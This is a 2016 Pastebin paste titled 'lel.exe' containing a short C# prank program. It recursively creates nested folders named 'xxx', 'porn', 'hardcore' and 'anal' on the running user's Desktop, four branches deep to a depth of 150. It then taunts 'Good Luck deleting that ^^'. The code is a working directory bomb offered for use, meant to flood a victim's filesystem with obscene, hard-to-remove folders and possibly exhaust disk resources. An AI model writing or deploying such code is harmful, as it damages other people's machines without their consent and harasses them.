Guest User

lel.exe

a guest
Jan 19th, 2016
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 1.18 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Threading.Tasks;
  6. using System.IO;
  7.  
  8. namespace lel
  9. {
  10.     enum FolderName { xxx, porn, hardcore, anal };   //Dictionary of folder names, change as you wish
  11.     class Program
  12.     {
  13.         static void Main(string[] args)
  14.         {
  15.             int N = 150; //the program will create number_of_elements_in_enum^N folders
  16.             string startPath = Path.Combine(Environment.GetEnvironmentVariable("userprofile") , "Desktop");
  17.             Console.WriteLine("Wait...");
  18.  
  19.             Make(startPath, N);
  20.             Console.WriteLine("OK! Done!\nGood Luck deleting that ^^");
  21.             Console.ReadKey();
  22.         }
  23.  
  24.         public static void Make(string _dir,int n)
  25.         {
  26.             if (n==0)
  27.             {
  28.                 return;
  29.             }
  30.             foreach (FolderName name in Enum.GetValues(typeof(FolderName))) //Cycle for each element in the enum
  31.             {
  32.                 Directory.CreateDirectory(Path.Combine(_dir, Convert.ToString(name)));
  33.                 Make(Path.Combine(_dir, Convert.ToString(name)), n-1);
  34.             }
  35.         }
  36.  
  37.     }
  38. }
Advertisement
Add Comment
Please, Sign In to add comment